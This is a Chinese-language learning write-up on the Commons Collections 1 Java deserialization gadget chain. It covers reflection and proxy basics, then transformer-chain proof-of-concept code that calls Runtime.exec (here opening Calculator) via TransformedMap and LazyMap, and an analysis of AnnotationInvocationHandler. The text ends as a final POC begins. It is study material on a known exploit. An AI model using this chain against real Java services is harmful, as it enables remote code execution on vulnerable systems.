• CommonsCollection1反序列化链学习


    CommonsCollection1

    1、前置知识

    1.1、反射基础知识

    1.1.1、 对象与类的基础知识
    类(class),对象(object)
    对象是类的实例化,中华田园犬(object)是狗(class)的实例化
    类是对象的抽象化,狗(class)是中华田园犬(object)抽象化
    
    1.1.2、反射获取对象过程

    1、我们可以通过以下三种方法获取Class对象类型

    Class classType = String.class;
    Class classType = new String().getClass();/*new String()是一个对象*/
    Class classType = Class.forName("java.lang.String");
    

    2、在Class类中包含着很多方法函数,其中在本章节使用最频繁的就是

    getName():获得类的完整名字。 
    getFields():获得类的public类型的属性。
    
    getDeclaredFields():获得类的所有属性。
    
    getMethods():获得类的public类型的方法。
    
    getDeclaredMethods():获得类的所有方法。
    
    getMethod(String name, Class[] parameterTypes):获得类的特定方法,name参数指定方法的名字,parameterTypes参数指定方法的参数类型。
    
    getConstrutors():获得类的public类型的构造方法。
    
    getConstrutor(Class[] parameterTypes):获得类的特定构造方法,parameterTypes参数指定构造方法的参数类型。
    
    newInstance():通过类的不带参数的构造方法创建这个类的一个对象。
    

    2、通过默认构造方法创建一个新的对象,即先调用Class类的getConstructor()方法获得一个Constructor对象,它代表默认的构造方法,然后调用Constructor对象的newInstance()方法构造一个实例。(此处new Class[]{}、new Object[]{}表示空参数,既调用默认的无参数的构造方法)

    Object objectCopy=classType.getConstructor(new Class[]{}).newInstance(new Object[]{});
    

    3、获得对象的所有属性,即通过Class类的getDeclaredFields()方法返回类的所有属性,包括public、protected、default和private访问级别的属性

    Field fields[]=classType.getDeclaredFields();
    

    4、获得每个属性相应的get/set方法,然后执行这些方法,把原来的对象属性拷贝到新的对象中。

      这里我们可以写一个InvokeTester的类,然后运用反射机制调用一个InvokeTester对象的add()方法(自定义方法),如add()方法的两个参数为int类型,那么获取表示add()方法的Method对象代码如下:

    Method addMethod=classType.getMethod("add",new Class[]{int.class,int.class});
    

    5、反射调用addMethod方法

    //获得和属性对应的getXXX()方法
    Method getMethod=classType.getMethod(getMethodName,new Class[]{});
    //获得和属性对应的setXXX()方法
    Method setMethod=classType.getMethod(setMethodName,new Class[]{field.getType()});
    //具体实施(第四点描述)
    Method addMethod=classType.getMethod("add",new Class[]{int.class,int.class});
    
    //调用原对象的getXXX()方法
    Object value=getMethod.invoke(object,new Object[]{});
    System.out.println(fieldName+":"+value);
    //调用拷贝对象的setXXX()方法
    setMethod.invoke(objectCopy,new Object[]{value});
    addMethod.invoke()
    

    6、具体一个小例子

    首先有个Users类,他有属性名字(name)、年龄(age)和会算加法()

    public class Users {
        String name;
        int age;
    
        public String getName() {
            return name;
        }
    
        public void setName(String name) {
            this.name = name;
        }
    
        public int getAge() {
            return age;
        }
    
        public void setAge(int age) {
            this.age = age;
        }
    
        public int add(int num1, int num2){
            int addnum= num1+num2;
            return addnum;
    
        }
    
    }
    

    那么我们反射获取他的某一个user对象的名字、年龄和加法

    第一反射获取多参数的方法add

    import java.lang.reflect.Method;
    
    public class Test {
        public static void main(String[] args) throws Exception {
            //反射获取类对象类型,这里获取的是Users类对象类型
            Class<?> users = Class.forName("Users");
            //类对象类型实例化,,即先调用Class类的getConstructor()方法获得一个Constructor对象,它代表默认的构造方法,然后调用Constructor对象的newInstance()方法构造一个实例。(此处new Class[]{}、new Object[]{}表示空参数,既调用默认的无参数的构造方法)
            Object user = users.getConstructor(new Class[]{}).newInstance(new Object[]{});
            //反射获取指定的类对象类型的add方法,add方法需要两个参数,参数类型为int型,getMethod类型的第二个参数必须是Class对象类型
            Method add = users.getMethod("add", new Class[]{int.class, int.class});
            //add方法反射调用(invoke)user对象,并且传入add方法的俩个参数值,invoke方法的参数必须是object对象
            Object num = add.invoke(user, new Object[]{1, 2});
            System.out.println((Integer) num);
    
    
        }
    }
    
    

    反射调用单参数的方法setName和无参数方法getName

    import java.lang.reflect.Method;
    
    public class Test {
        public static void main(String[] args) throws Exception {
    /*
            //反射获取类对象类型,这里获取的是Users类对象类型
            Class<?> users = Class.forName("Users");
            //类对象类型实例化,,即先调用Class类的getConstructor()方法获得一个Constructor对象,它代表默认的构造方法,然后调用Constructor对象的newInstance()方法构造一个实例。(此处new Class[]{}、new Object[]{}表示空参数,既调用默认的无参数的构造方法)
            Object user = users.getConstructor(new Class[]{}).newInstance(new Object[]{});
            //反射获取指定的类对象类型的add方法,add方法需要两个参数,参数类型为int型,getMethod类型的第二个参数必须是Class对象类型
            Method add = users.getMethod("add", new Class[]{int.class, int.class});
            //add方法反射调用(invoke)user对象,并且传入add方法的俩个参数值,invoke方法的参数必须是object对象
            Object num = add.invoke(user, new Object[]{1, 2});
            System.out.println((Integer) num);
    
    */
    
            Class<?> users = Class.forName("Users");
            Object zhangsan = users.getConstructor(new Class[]{}).newInstance(new Object[]{});
            //反射获取Users类的setName()方法 ,需要传入setName的所需的参数类型,此处为String.class类型
            Method setName = users.getMethod("setName", new Class[]{String.class});
            //反射设置zhangsan对象实例的名字为张三
            setName.invoke(zhangsan,new Object[]{"张三"});
            //反射获取Users类的getName()方法,需要传入getName的参数类型,此处为空
            Method getName = users.getMethod("getName", new Class[]{});
            //反射获取zhangsan对象实例的名字
            Object Name = getName.invoke(zhangsan);
            System.out.println((String) Name);
    
    
        }
    }
    
    
    1.1.3、反射的基本用法

    反射又有很多琐碎的点,这里只讲它的基本用法如果当前拥有一个对象的话,那么可以动态的调用该对象的所有方法

    // Step1 获取Class对象
    Class cls = obj.getClass();
    // Step2 获取想要的方法对象
    Method mth = cls.getMethod("MethodName",new Class[]{arg1_type,arg2_type});    
    // Step3 调用方法
    mth.invoke(obj,new Object[]{arg1,arg2})
    

    这里注意的是getMethod的第二个参数为Class数组,Class的概念我们之前也提到过。

    1.2、动态代理知识

    动态代理需要理解反射包的三个类

    反射包 java.lang.reflect 的三个类:InvocationHandler,Method,Proxy

    InvocationHandler

    这个类其实就一个方法就是invoke方法,该方法用代理商在不改变代理对象的情况,需要添加的功能

    参数:

    Object proxy:jdk的代理类,无需赋值

    Method method:代理对象的方法,jdk提供的Method的对象

    Object[] args:代理对象的方法执行的参数

    package java.lang.reflect;
    
    public interface InvocationHandler {
    
        public Object invoke(Object proxy, Method method, Object[] args)
            throws Throwable;
    }
    
    

    Method

    Method方法主要在InvocationHandler的invoke方法中实现,表示执行代理对象的方法

    Method.invoke(目标的对象,方法的参数)

    image-20220326234845996

    Proxy

    newProxyInstance的方法的三个参数为

    ClassLoader loader:类加载器,负责向内存中加载对象的。使用反射获取的

    Class<?>[] interfaces :目标对象实现的接口,也是反射获取的

    InvocationHandler h:我们自己写的,代理需要完成的功能

    image-20220326235224217

    举个具体里的例子(Usb)

    首先实现一个统一的买usb的接口,里面有一个卖usb的方法

    public interface Usbsell {
        float sell(int acount);
    }
    

    金士顿厂家要卖usb,所以继承这个接口,他买85元

    package com.akkacloud.factory;
    
    import com.akkacloud.service.Usbsell;
    
    public class UsbKingFactor implements Usbsell {
    
        @Override
        public float sell(int acount) {
            return 85.0f;
        }
    }
    

    我们是一个商店,去买我们要赚差价

    第一种写法,直接在主函数中创建我们的InvocationHandler接口

    package com.akkacloud;
    
    import com.akkacloud.factory.UsbKingFactor;
    import com.akkacloud.handler.MysellHandler;
    import com.akkacloud.service.Usbsell;
    
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Method;
    import java.lang.reflect.Proxy;
    
    public class MainShop {
        public static void main(String[] args) {
            //创建代理对象,使用proxy
            //创建目标类对象,就是厂家
            UsbKingFactor usbKingFactor = new UsbKingFactor();
            //创建代理对象
            Usbsell proxy = (Usbsell) Proxy.newProxyInstance(usbKingFactor.getClass().getClassLoader(),
                    usbKingFactor.getClass().getInterfaces(), new InvocationHandler() {
                        @Override
                        public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                            Object res = method.invoke(usbKingFactor, args);
                            res= (float)res+35;
                            return res;
                        }
                    }
            );
            //通过代理对象执行sell
            float price = proxy.sell(1);
            System.out.println("通过代理的价格:"+price);
    
        }
    }
    
    

    第二种我们先实现InvocationHandler接口,再写主函数

    首先我们要实现我们的InvocationHandler接口,我们实施加价25块

    package com.akkacloud.handler;
    
    import java.io.File;
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Method;
    
    public class MysellHandler implements InvocationHandler{
    
        private Object target;
    
        public MysellHandler(Object target) {
            this.target = target;
        }
    
        @Override
        public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
            //想厂家订购1个商品
    //        float price = factory.sell(1);
            Object res = method.invoke(target, args);
            //中间商赚差价
            //price = price+25;
            if(res!=null){
                float price = (float) res;
                price=price+25;
                res =price;
            }
    
            return res;
        }
    }
    
    

    然后实现我们的商店代码

    package com.akkacloud;
    
    import com.akkacloud.factory.UsbKingFactor;
    import com.akkacloud.handler.MysellHandler;
    import com.akkacloud.service.Usbsell;
    
    import java.lang.reflect.Proxy;
    
    public class MainShop {
        public static void main(String[] args) {
            //创建代理对象,使用proxy
            //创建目标类对象,就是厂家
            UsbKingFactor usbKingFactor = new UsbKingFactor();
            //创建invocationHandler对象,传入代理商的厂家为usbking
            MysellHandler mysellHandler = new MysellHandler(usbKingFactor);
            //创建代理对象
            Usbsell proxy = (Usbsell) Proxy.newProxyInstance(usbKingFactor.getClass().getClassLoader(),
                    usbKingFactor.getClass().getInterfaces(),mysellHandler
                    );
            //通过代理对象执行sell
            float price = proxy.sell(1);
            System.out.println("通过代理的价格:"+price);
    
        }
    }
    

    执行结果

    image-20220327000727503

    1.3、调试所需类相关的知识和作用

    Transformer

    transformer的是Commons Collections包中提供的一个接口

    package org.apache.commons.collections;
    
    public interface Transformer {
        Object transform(Object var1);
    }
    
    ConstantTransformer

    ConstantTransformer是Transformer的实现类

    构造方法中实现对iConstant赋值,transform方法用于获取iConstant的值

    public class ConstantTransformer implements Transformer, Serializable {
        static final long serialVersionUID = 6374440726369055124L;
        public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
        private final Object iConstant;
    
        public static Transformer getInstance(Object constantToReturn) {
            return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));
        }
    
        public ConstantTransformer(Object constantToReturn) {
            this.iConstant = constantToReturn;
        }
    
        public Object transform(Object input) {
            return this.iConstant;
        }
    
        public Object getConstant() {
            return this.iConstant;
        }
    }
    
    InvokerTransformer

    InvokerTransformer也是Transform的实现类

    构造方法里传入Strin iMethodName(字符串类型的函数名)、Class[] iParamTypes(函数的参数类型))、Object[] iArgs(函数的参数列表)

    transform方法是用Java反射机制来进行执行任意代码

    
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
      this.iMethodName = methodName;
      this.iParamTypes = paramTypes;
      this.iArgs = args;
    }
    
    public Object transform(Object input) {
      if (input == null) {
        return null;
      } else {
        try {
          Class cls = input.getClass();
          Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
          return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
          throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
          throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
          throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
      }
    }
    
    ChainedTransformer

    ChainedTransformer也是Transformer的实现类

    构造方法是把数组类型的Transformer[] 赋值给iTransformers

    transform方法是通过传入Trasnformer[]数组既iTransformers,对传入的数组进行遍历并且调用数组对象的transform方法。

    image-20220321152258602

    Map

    Transform来执行命令需要绑定到Map上,抽象类AbstractMapDecorator是Apache Commons Collections提供的一个类,实现类有很多,比如LazyMap、TransformedMap等,这些类都有一个decorate()方法,用于将上述的Transformer实现类绑定到Map上,当对Map进行一些操作时,会自动触发Transformer实现类的tranform()方法,不同的Map类型有不同的触发规则

    TransformedMap

    Transformer的实现类分别绑定到map的key和value上,当map的key或value被修改时,会调用对应Transformer实现类的transform()方法。

    通过decorate方法去调用构造方法,把map、keyTransformer、valueTransformer传入,当调用put的方法修改key或者value时,就会调用transform()

    我们可以把chainedtransformer绑定到一个TransformedMap上,当此map的key或value发生改变时,就会自动触发chainedtransformer的transform()方法

    //构造方法
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }
    ......
    //改变key时、调用transform
    protected Object transformKey(Object object) {
        return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
    }
    ......
    //改变value是,调用transform
    protected Object transformValue(Object object) {
    		return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
    }
    .....
      
    //put方法用来修改  
    public Object put(Object key, Object value) {
      key = this.transformKey(key);
      value = this.transformValue(value);
      return this.getMap().put(key, value);
    }
    
    LazyMap

    lazyMap也是Map的实现类

    //构造方法
    public static Map decorate(Map map, Transformer factory) {
      return new LazyMap(map, factory);
    }
    
    //对传入的map和Transformer实例化
    protected LazyMap(Map map, Factory factory) {
      super(map);
      if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
      } else {
        this.factory = FactoryTransformer.getInstance(factory);
      }
    }
    //调用get时,当key不存在时,调用Transformer实现类的transform()方法
    public Object get(Object key) {
      if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
      } else {
        return super.map.get(key);
      }
    }
    

    当调用tmpmap.get(key)的key不存在时,会调用TestTransformer的transform()方法

    这些不同的Map类型之间的差异也正是CommonsColletions有那么多gadget的原因之一

    Map tmpmap = LazyMap.decorate(normalMap, TestTransformer);
    

    2、漏洞复现

    由于前面分析了CC1的利用链,但是发现在CC1的利用链中是有版本的限制的。在JDK1.8 8u71版本以后,对AnnotationInvocationHandlerreadobject进行了改写。导致高版本中利用链无法使用

    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.LazyMap;
    import org.apache.commons.collections.map.TransformedMap;
    
    import java.util.HashMap;
    import java.util.Map;
    
    public class CommonCollection1 {
        public static void main(String[] args) {
            //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                    new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
            };
    
            //将transformers数组存入ChaniedTransformer这个继承类
            Transformer transformerChain = new ChainedTransformer(transformers);
    
            //创建Map并绑定transformerChina
            Map innerMap = new HashMap();
            innerMap.put("value", "value");
            //给予map数据转化链
            Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    
            //触发漏洞
            Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
            //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
            onlyElement.setValue("foobar");
    
    
    
        }
    }
    

    image-20220322134056332

    3、漏洞分析

    3.1、先分析第一段

    Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
    };
    
    //将transformers数组存入ChaniedTransformer这个继承类
    Transformer transformerChain = new ChainedTransformer(transformers);
    

    首先new一个Transformer数组

    Transformer[] transformers = new Transformer[] {}
    

    然后通过ChainedTransformer类的transform()方法,循环获取反射获取指定的命令执行函数函数

    public ChainedTransformer(Transformer[] transformers) {
      this.iTransformers = transformers;
    }
    
    public Object transform(Object object) {
      for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
      }
    
      return object;
    }
    

    首先看第一个类ConstantTransformer运行transform()方法后,返回的是Runtime.Class

    image-20220322134958090

    我们通过查看ConstantTransformer方法可知,Runtime.Class传入后通过构造方法赋值给iConstant,然后return这个iConstant赋值给object

    public ConstantTransformer(Object constantToReturn) {
      this.iConstant = constantToReturn;
    }
    
    public Object transform(Object input) {
      return this.iConstant;
    }
    

    我们看第二类InvokerTransformer,其实这个类翻译过来就是反射转换,把Runtime.Class作为参数值传给InvokerTransformer的transform方法,就是下面的式子

    object=InvokerTransformer.transform(Runtime.Class)
    

    然后我们进入到InvokerTransformer.transform()方法查看,确实传入的是Runtime().Class,

    image-20220322140036214

    首先我们来继续看InvokerTransformer的构造方法,第一个参数的意思是函数名,第二个参数的意思是参数类型,第三个是参数

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
      this.iMethodName = methodName;
      this.iParamTypes = paramTypes;
      this.iArgs = args;
    }
    

    再看InvokerTransformer的transform方法,其实就是反射调用构造方法中赋值的函数

    public Object transform(Object input) {
            if (input == null) {
                return null;
            } else {
                try {
                    Class cls = input.getClass();
                    Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                    return method.invoke(input, this.iArgs);
                } catch (NoSuchMethodException var5) {
                    throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
                } catch (IllegalAccessException var6) {
                    throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
                } catch (InvocationTargetException var7) {
                    throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
                }
            }
        }
    

    我们回到我们刚才调试的点,这三个参数分别是如下,函数名是getMethod,

    image-20220322140901931

    getMethod.invoke(Runtime.Class,String.Class,getRunTime),反射调用后就是Runtime.getRuntime(),继续传入object

    image-20220322141954997

    第三次传入的是object是Runtime.getRuntime(),函数名是invoke,参数值是null,invoke.invoke(Runtime.getRuntime(),Object.Class,null),由于Runtime是单例模式,需要执行他的getRuntime方法来获取Runtime类的实例化对象,所以这里用Invoke反射执行了getRuntime所以就获得了Runtime的实例对象

    image-20220322142408556

    第四次传入的object是Runtime的实例化对象,函数名是exec(),参数是"open /System/Application/Calculator.app",就是执行了Runtime.getRuntime().exec().

    image-20220322143144504

    通过ConstantTransformer得到Runtime.class,然后再InvokerTransformer反射得到getRuntime方法,然后通过反射执行invoke才能去调用getRuntime方法,这样得到一个Runtime对象,然后再去调用Runtime对象的exec方法去达到命令执行。

    Runtime.getRuntime().invoke(null).exec("open /System/Application/Calculator.app");
    

    上面那么多其实最简单的方法是自己先写一遍反射执行Runtime的Rce,如:

    Class runtimeClass = Runtime.class;
    Method getRuntime = runtimeClass.getMethod("getRuntime", null);//getMethod获取getRuntime方法,参数为空
    Runtime runtime = (Runtime) getRuntime.invoke(null, null);//反射执行getRuntime方法获取Runtime实例,invoke方法需要两个参数,执行的对象和执行的的参数,因为getRuntime为static方法,反射调用时执行的对象直接传null就行。
    
    Method exec = runtimeClass.getMethod("exec", String.class);//反射获取Runtime的exec方法
    exec.invoke(runtime, "open /System/Applications/Calculator.app");//反射执行
    

    然后我们再通过ConstantTransformer和InvokerTransformer的transform方法的规则实现一下就很好理解了

    Object runtime= new ConstantTransformer(Runtime.class).transform(null);
    Object getMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}).transform(runtime);
    Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethod);
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}).transform(r);
    
    

    可以看出都是调用transform方法,且输入的参数为上一个参数的结果

    加入ConstantTransformer去循环调用transform

    Transformer[] transformers = {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})
    };
    
    
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    chainedTransformer.transform(null);
    

    image-20220331180542171

    第一段ChainedTransformer就是为了执行这段命令,但是我们想在需要去ChainedTransformer.transform方法

    3.2、第二段

    3.2.1、TransformedMap类

    TransformedMap其实并不是ysoserial的cc1链所用,我我们这里是学习这个类
    前置知识我们说过,通过调用TransformedMap.decorate(),再调用TransformedMap的构造方法赋值参数,参数分别是Map、更换的key值、更换的value值,我们通过put方法调用transformKey、transformValue方法来更换Map的key和value,而这时候最重要的是transformValue、transformKey方法调用了transform方法,也就是说我们把ChainedTransformer传给decorate方法的valueTransformer,当调用put方法时就可以调用ChainedTransformer的transform方法了。

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
      return new TransformedMap(map, keyTransformer, valueTransformer);
    }
    
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
      super(map);
      this.keyTransformer = keyTransformer;
      this.valueTransformer = valueTransformer;
    }
    protected Object transformKey(Object object) {
      return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
    }
    
    protected Object transformValue(Object object) {
      return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
    }
    public Object put(Object key, Object value) {
        key = this.transformKey(key);
        value = this.transformValue(value);
        return this.getMap().put(key, value);
    }
    

    漏洞利用

    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.LazyMap;
    import org.apache.commons.collections.map.TransformedMap;
    
    import java.util.HashMap;
    import java.util.Map;
    
    public class CommonCollection1 {
        public static void main(String[] args) {
            //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                    new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
            };
    
            //将transformers数组存入ChaniedTransformer这个继承类
            Transformer transformerChain = new ChainedTransformer(transformers);
    
            //创建Map并绑定transformerChina
            Map innerMap = new HashMap();
            innerMap.put("value", "value");
            //给予map数据转化链
            Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    
            outerMap.put("1","1");
    
    
    //        //触发漏洞
    //        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
    //        //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
    //        onlyElement.setValue("foobar");
    
    
    
        }
    }
    

    image-20220322145808235

    在这里我们是使用了代码直接的让他去弹出一个计算器,但是在实际运用中,需要将该代码转换为序列化流。在实际运用中需要我们需要找到⼀个类,它在反序列化的readObject读取我们序列化的流文件。

    3.2.2、LazyMap

    LazyMap就是ysoserial的cc1所用的
    在分析前先来看看LazyMap这个类,这个类和TransformedMap类似。都是AbstractMapDecorator继承抽象类是Apache Commons Collections提供的一个类。在两个类不同点在于TransformedMap是在put方法去触发transform方法,而LazyMap是在get方法去调用方法

    public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
        private static final long serialVersionUID = 7990956402564206740L;
        protected final Transformer factory;
    
        public static Map decorate(Map map, Transformer factory) {
            return new LazyMap(map, factory);
        }
    
    
        protected LazyMap(Map map, Transformer factory) {
            super(map);
            if (factory == null) {
                throw new IllegalArgumentException("Factory must not be null");
            } else {
                this.factory = factory;
            }
        }
    
    
        public Object get(Object key) {
            if (!super.map.containsKey(key)) {
                Object value = this.factory.transform(key);
                super.map.put(key, value);
                return value;
            } else {
                return super.map.get(key);
            }
        }
    }
    

    当调用get(key)的key不存在时,会调用transformerChain的transform()方法。

    修改一下poc,使用LazyMap的get方法来触发命令执行试试

    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.LazyMap;
    import org.apache.commons.collections.map.TransformedMap;
    
    import java.util.HashMap;
    import java.util.Map;
    
    public class CommonCollection1 {
        public static void main(String[] args) {
            //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                    new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
            };
    
            //将transformers数组存入ChaniedTransformer这个继承类
            Transformer transformerChain = new ChainedTransformer(transformers);
    
            //创建Map并绑定transformerChina
            Map innerMap = new HashMap();
            innerMap.put("value", "value");
            //给予map数据转化链
    
            Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
            tmpmap.get("1");
    
    
    
        }
    }
    
    

    第三段

    我们先学习一下AnnotationInvocationHandler,AnnotationInvocationHandler该类是用来处理注解的。

    查看AnnotationInvocationHandler类的构造函数有两个参数,第⼀个参数是⼀个Annotation类类型参数,第二个是map类型参数

    Annotation类类型参数传给var1map类型传给类var1==》TransformedMap.decorate(innerMap,transformerChain)

    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
      Class[] var3 = var1.getInterfaces();
      if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
        this.type = var1;
        this.memberValues = var2;
      } else {
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
      }
    }
    

    利用链主要用到了AnnotationInvocationHandler的invoke方法和readObject方法

    invoke
    invoke方法主要为三个参数(对象类型,方法类型,对象数组)

    public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            byte var7 = -1;
            switch(var4.hashCode()) {
            case -1776922004:
                if (var4.equals("toString")) {
                    var7 = 0;
                }
                break;
            case 147696667:
                if (var4.equals("hashCode")) {
                    var7 = 1;
                }
                break;
            case 1444986633:
                if (var4.equals("annotationType")) {
                    var7 = 2;
                }
            }
    
            switch(var7) {
            case 0:
                return this.toStringImpl();
            case 1:
                return this.hashCodeImpl();
            case 2:
                return this.type;
            default:
                Object var6 = this.memberValues.get(var4);
                if (var6 == null) {
                    throw new IncompleteAnnotationException(this.type, var4);
                } else if (var6 instanceof ExceptionProxy) {
                    throw ((ExceptionProxy)var6).generateException();
                } else {
                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                        var6 = this.cloneArray(var6);
                    }
    
                    return var6;
                }
            }
        }
    }
    

    重要式子

    memberValues就是构造函数赋值的,存储这我们的恶意的map

    Object var6 = this.memberValues.get(var4)
    

    就是AnnotationInvocationHandler调用invoke方法,调用Lazymap的get方法,调用transform方法

    readObject方法

    我们看到第四行

    Map var4 = (Map)var2.get("memberValues", (Object)null)
    

    memberValues.的值赋值给var4

    var4调用了entrySet().iterator()方法

    var4.entrySet().iterator()
    
    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        GetField var2 = var1.readFields();
        Class var3 = (Class)var2.get("type", (Object)null);
        Map var4 = (Map)var2.get("memberValues", (Object)null);
        AnnotationType var5 = null;
    
        try {
            var5 = AnnotationType.getInstance(var3);
        } catch (IllegalArgumentException var13) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }
    
        Map var6 = var5.memberTypes();
        LinkedHashMap var7 = new LinkedHashMap();
    
        String var10;
        Object var11;
      	
        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
            Entry var9 = (Entry)var8.next();
            var10 = (String)var9.getKey();
            var11 = null;
            Class var12 = (Class)var6.get(var10);
            if (var12 != null) {
                var11 = var9.getValue();
                if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                    var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
                }
            }
        }
    
        AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
        AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
    }
    

    POC

    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.LazyMap;
    import org.apache.commons.collections.map.TransformedMap;
    
    import java.io.*;
    import java.lang.annotation.Retention;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Proxy;
    import java.util.HashMap;
    import java.util.Map;
    
    public class CommonCollection1 {
        public static void main(String[] args) throws Exception {
            //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
